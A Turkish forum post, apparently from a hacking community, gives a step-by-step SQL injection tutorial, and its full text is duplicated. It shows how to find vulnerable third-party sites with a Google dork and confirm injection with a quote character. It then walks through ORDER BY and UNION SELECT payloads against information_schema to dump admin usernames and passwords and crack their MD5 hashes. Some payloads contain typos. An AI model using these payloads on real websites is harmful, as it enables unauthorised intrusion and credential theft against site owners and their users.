Selemalar SPY ailem. Ben bi hacker olmasamda başlangıç olarak sql ile ilgili biraz bilgiye sahibim ve forumdada sql açığıyla ilgili sadece bir tane konuya rastladım.Bu konumda okuyacaklarınız okunun daha detaylı ve özellikle karışık anlatım halidirki biraz akılda yer etsin diye böyle anlattım.Eğer konumda rahatsız olursanız bildirin konu kapatılsın.
Şimdi öncelikle dorkumuzu yazdık bi sql açıklı site bulduk veya ben en baştan başlıyım. (Dork yazmak hariç
)
Evet dorkumuz bu olsun : inurl:artikelinfo.php?id=
Evet bunu Google da arattığımız zaman karşımıza sql açığı bulunma ihtimali olan siteler çıkıyor. Bizde buradan siteleri tek tek kontrol ediyoruz. En üstteki siteden başlamak bana biraz mantıksız geliyor çünkü tek deneyen biz değiliz
.
Neyse sitelere giriyoruz ve url kısmındaki link genelde www.hedefsite.com/artikelinfo.php?id=123 tarzı oluyor. Ordaki 123 misaldir değişkenlik gösterebilir.
Biz o 123 ün sonuna ‘ işaretini koyup sitenin mysql hatası vermesini bekliyoruz.
Şimdi hedef sitemiz http://www.hedefsite.com/artikelinfo.php?id=230
Hata vermesi için http://www.hedefsite.com/artikelinfo.php?id=230’ bunu yapıyoruz.
Ve site bize sql hatası veriyor bu demek oluyorki sql açığı var. Tabi her hatayı verenden veri çekemiyoruz ama en azından deniyoruz J.
(Normalde görsellerle anlatıcaktım ama gerek olmadığını düşündüm)
Bundan sonraki adım sitenin kolon sayısını database adını vs öğrenmemiz gerekiyor.
Şimdi ise kolon sayısını öğrenelim. Bunun içide +order+by+1 kodumuzu kullanıcaz.
Örnek olarak http://www.hedefsite.com/artikelinfo.php?id=230+order+by+1
Şimdi 1 yazdığımızda sayfa normal gözüküyor sorun yok o zaman biz bu sayıyı yavaş yavaş arttıralım J
Evet ben +order+by+8 e kadar geldim ve 8 e kadar sayfa hata vermedi ama 9 yaptığımda sayfa bana UNKOWN COLMUN ‘9’ İN felan diye bi hata verdi J
Demekki kolon sayımız 8
Şimdi ise tablo adı vs gibi bilgileri öğrenmekte sıra.
Bunun içinde +union+select+1,2,3 kodunu kullanacağız. Şimdi bizim kolonumuz 8 e kadardı dimi dimi. Bizde virgüllü sayılara onu yazacağız yani +union+select+1,2,3,4,5,6,7,8 tabi bazı sitelerdede onu 0,1,2,3,4,5,6,7 yazıyoruz değişebiliyor.
Örnek olarak
http://www.hedefsite.com/artikelinfo.php?id=230+union+select+1,2,3,4,5,6,7,8
Bunu yazdıktan sonra sayfada yazdığımız sayılardan bir kaçının gözükmesi gerek yani mesela 2 5 felan görürsünüz zaten. Ama eğer gözükmesse id den sonraki sayının başına bir eksi atın gözükürler yanı id=-230 olsun.
Şimdi gözüken sayılardan biz database tablo adı gibi bilgileri alcaz.
Mesela gözüken sayılarımız 2 ve 5 olsunlar .
Önce tabloları görelim.
Bunun için 2 yerine group_concat(table_name) ve yazıların sonuna from+information_schema.tables kodunu yazıyoruz yani;
http://www.hedefsite.com/artikelinf...e),3,4,5,6,7,8+from+information_schema.tables
ve karşımızda sitenin tabloları çıkmış oldu.
Burada büyük harfle yazılmamız admin login veya user gibi tablo adlarını bulmamız gerekicek.
Mesela user tablosunu gördük. Ve bunun hex sitelerinde hex koduna çeviriyoruz.
yani https://www.easycalculation.com/ascii-hex.php bu siteye girip string kısmına user yazıp en üste çıkan 117 115 101 114 kodumuzu alıyoruz. (ordaki boşluları virgül yapalım yani 117,115,101,114 )
Sonra ise user deki verileri görücez. Bunun için urlnin en sonundaki tables kısımını silip yerine columns+where+tables_name=char(117,115,101,114) yapıyoruz ve 2 nin yerine yazdığımız gropu_concat(table_name) table name yerine column_name yapıyoruz yani group_concat(column_name) olacak. Örnek olarakta
http://www.hedefsite.com/artikelinf...lumns+where+tables_name=char(117,115,101,114)
ve bunları yazdıktan sonra user in içindeki kolonları görüyoruz. Karşınıza genelde id,user,password,login tarzı şeyler çıkar.
Bizim işimize burada yarayan user ve passworddur.
Bunun içinde gropu_concat taki parantezin içine username yazacağız. Ve sitenin sonundaki fromdan sonrakini silip tablo adını yani user yazacağız.
Yani
http://www.hedefsite.com/artikelinf...t+1,group_concat(admin),3,4,5,6,7,8+from+user
Ben demiştim ya ekranda 2 tane sayı gözüktü diye 2 ve 5 heh şimdi ben kolaylık olsun diye 5 yazan kısmada group_concat(password) yazıyoruz ve 2 yazan kısımda admin listesi 5 yazan kısımdada passswordlar gözükecek. Eğer sitede 2 tane sayı gözükmesse sizin yapacağınız işlem ise 2 deki admin nin yanın virgülle 0x3a ekleyi password yazman yani group_concat(admin,03xa,password). Bunu yadığınızda ikiside 2 nin olduğu yerde görünecektir buda biraz karışık olur.
Evet karşınızda sitenin admin paneli için kullanıcı adı ve şifreleri gözükecektir. Genelde şifreler md5 formatıyla gözükür. Yani uzun ve karışık rakamlar harfler. Onlarıda md5 decoder sayfalarında çözmeyi denersiniz. Admin paneli bulma yönetimide daha önce paylaşmıştım.
Okuduğun için teşekkür ederim arkadaşım
Şimdi öncelikle dorkumuzu yazdık bi sql açıklı site bulduk veya ben en baştan başlıyım. (Dork yazmak hariç
Evet dorkumuz bu olsun : inurl:artikelinfo.php?id=
Evet bunu Google da arattığımız zaman karşımıza sql açığı bulunma ihtimali olan siteler çıkıyor. Bizde buradan siteleri tek tek kontrol ediyoruz. En üstteki siteden başlamak bana biraz mantıksız geliyor çünkü tek deneyen biz değiliz
Neyse sitelere giriyoruz ve url kısmındaki link genelde www.hedefsite.com/artikelinfo.php?id=123 tarzı oluyor. Ordaki 123 misaldir değişkenlik gösterebilir.
Biz o 123 ün sonuna ‘ işaretini koyup sitenin mysql hatası vermesini bekliyoruz.
Şimdi hedef sitemiz http://www.hedefsite.com/artikelinfo.php?id=230
Hata vermesi için http://www.hedefsite.com/artikelinfo.php?id=230’ bunu yapıyoruz.
Ve site bize sql hatası veriyor bu demek oluyorki sql açığı var. Tabi her hatayı verenden veri çekemiyoruz ama en azından deniyoruz J.
(Normalde görsellerle anlatıcaktım ama gerek olmadığını düşündüm)
Bundan sonraki adım sitenin kolon sayısını database adını vs öğrenmemiz gerekiyor.
Şimdi ise kolon sayısını öğrenelim. Bunun içide +order+by+1 kodumuzu kullanıcaz.
Örnek olarak http://www.hedefsite.com/artikelinfo.php?id=230+order+by+1
Şimdi 1 yazdığımızda sayfa normal gözüküyor sorun yok o zaman biz bu sayıyı yavaş yavaş arttıralım J
Evet ben +order+by+8 e kadar geldim ve 8 e kadar sayfa hata vermedi ama 9 yaptığımda sayfa bana UNKOWN COLMUN ‘9’ İN felan diye bi hata verdi J
Demekki kolon sayımız 8
Şimdi ise tablo adı vs gibi bilgileri öğrenmekte sıra.
Bunun içinde +union+select+1,2,3 kodunu kullanacağız. Şimdi bizim kolonumuz 8 e kadardı dimi dimi. Bizde virgüllü sayılara onu yazacağız yani +union+select+1,2,3,4,5,6,7,8 tabi bazı sitelerdede onu 0,1,2,3,4,5,6,7 yazıyoruz değişebiliyor.
Örnek olarak
http://www.hedefsite.com/artikelinfo.php?id=230+union+select+1,2,3,4,5,6,7,8
Bunu yazdıktan sonra sayfada yazdığımız sayılardan bir kaçının gözükmesi gerek yani mesela 2 5 felan görürsünüz zaten. Ama eğer gözükmesse id den sonraki sayının başına bir eksi atın gözükürler yanı id=-230 olsun.
Şimdi gözüken sayılardan biz database tablo adı gibi bilgileri alcaz.
Mesela gözüken sayılarımız 2 ve 5 olsunlar .
Önce tabloları görelim.
Bunun için 2 yerine group_concat(table_name) ve yazıların sonuna from+information_schema.tables kodunu yazıyoruz yani;
http://www.hedefsite.com/artikelinf...e),3,4,5,6,7,8+from+information_schema.tables
ve karşımızda sitenin tabloları çıkmış oldu.
Burada büyük harfle yazılmamız admin login veya user gibi tablo adlarını bulmamız gerekicek.
Mesela user tablosunu gördük. Ve bunun hex sitelerinde hex koduna çeviriyoruz.
yani https://www.easycalculation.com/ascii-hex.php bu siteye girip string kısmına user yazıp en üste çıkan 117 115 101 114 kodumuzu alıyoruz. (ordaki boşluları virgül yapalım yani 117,115,101,114 )
Sonra ise user deki verileri görücez. Bunun için urlnin en sonundaki tables kısımını silip yerine columns+where+tables_name=char(117,115,101,114) yapıyoruz ve 2 nin yerine yazdığımız gropu_concat(table_name) table name yerine column_name yapıyoruz yani group_concat(column_name) olacak. Örnek olarakta
http://www.hedefsite.com/artikelinf...lumns+where+tables_name=char(117,115,101,114)
ve bunları yazdıktan sonra user in içindeki kolonları görüyoruz. Karşınıza genelde id,user,password,login tarzı şeyler çıkar.
Bizim işimize burada yarayan user ve passworddur.
Bunun içinde gropu_concat taki parantezin içine username yazacağız. Ve sitenin sonundaki fromdan sonrakini silip tablo adını yani user yazacağız.
Yani
http://www.hedefsite.com/artikelinf...t+1,group_concat(admin),3,4,5,6,7,8+from+user
Ben demiştim ya ekranda 2 tane sayı gözüktü diye 2 ve 5 heh şimdi ben kolaylık olsun diye 5 yazan kısmada group_concat(password) yazıyoruz ve 2 yazan kısımda admin listesi 5 yazan kısımdada passswordlar gözükecek. Eğer sitede 2 tane sayı gözükmesse sizin yapacağınız işlem ise 2 deki admin nin yanın virgülle 0x3a ekleyi password yazman yani group_concat(admin,03xa,password). Bunu yadığınızda ikiside 2 nin olduğu yerde görünecektir buda biraz karışık olur.
Evet karşınızda sitenin admin paneli için kullanıcı adı ve şifreleri gözükecektir. Genelde şifreler md5 formatıyla gözükür. Yani uzun ve karışık rakamlar harfler. Onlarıda md5 decoder sayfalarında çözmeyi denersiniz. Admin paneli bulma yönetimide daha önce paylaşmıştım.
Okuduğun için teşekkür ederim arkadaşım